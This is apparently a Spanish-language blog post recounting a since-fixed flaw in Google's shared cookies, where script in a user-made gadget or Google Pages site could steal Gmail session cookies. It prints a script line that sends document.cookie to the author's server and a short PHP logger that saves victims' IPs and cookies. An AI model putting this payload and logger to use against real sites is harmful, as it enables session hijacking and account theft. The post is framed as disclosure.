Errores en el filtrado de datos de google
Este texto no fue hecho para el uso de lammers, es sólo con fines educativos y demostrativos, por eso es que lo publico aquí en mi blog. Ya fué avisado y corregido en su totalidad.
Como sabemos, google no es sólo un buscador, sino que tiene varios servicios más, como ser iGoogle, Gmail, Google Pages, Google Docs, etc. Como alguna vez dije que no puedo estar sin mirar todo, esta vez me topé con google. Mirando una cookie del mail:
GX=****; gmailchat=****@gmail.com/ID; S=gmail=********; GMAIL_AT=ID AT; PREF=ID=******; SID=***; GMAIL_HELP=hosted:0; TZ=-60
Google utiliza la misma cookie para todos sus servicios, es por eso que no se declara ningun dominio/subdominio. Viendo eso, puse en marcha mi idea de crear mi propio gadget (Sí, tenemos la posibilidad de hacerlo gracias a iGoogle). El gadget se hace con un simple XML, pero no por ser XML sólo admite eso, asique muy bien se puede incluír algo de scripting. Un ejemplo sería:
<script>document.location='http://enzofava.com/cookie.php?cookie= ' +document.cookie</script>
Se me presentaron un par de complicaciónes, pero las solucione usando googlepages en vez de iGoogle. Al tener cargado eso en el servidor de google, ya podía extraer mi cookie. Obviamente que la de cualquier otra persona no. Pero usando cualquier lanzador, se clickearia el link y obtendríamos la cookie.
Para quienes preguntaron que es el cookie.php es un simple php que guarda la cookie. Sería algo como esto:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET["cookie"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, "$fecha, $ip, $cookie\n\n");
?>
Por suerte se cambió la forma de trabajar hace unos meses y no hay problemas de este tipo. Con todo esto que puse aquí mucho no podrán hacer, asique no intenten nada. Es más, cabe recalcar que despúes de esto me suspendieron la cuenta de googlepages: «This site has been disabled for violations of our Program Polices»
Si alguien quiere preguntarme algo, puede hacerlo por mail o twitter. Saludos
2 comentarios sobre «Errores en el filtrado de datos de google»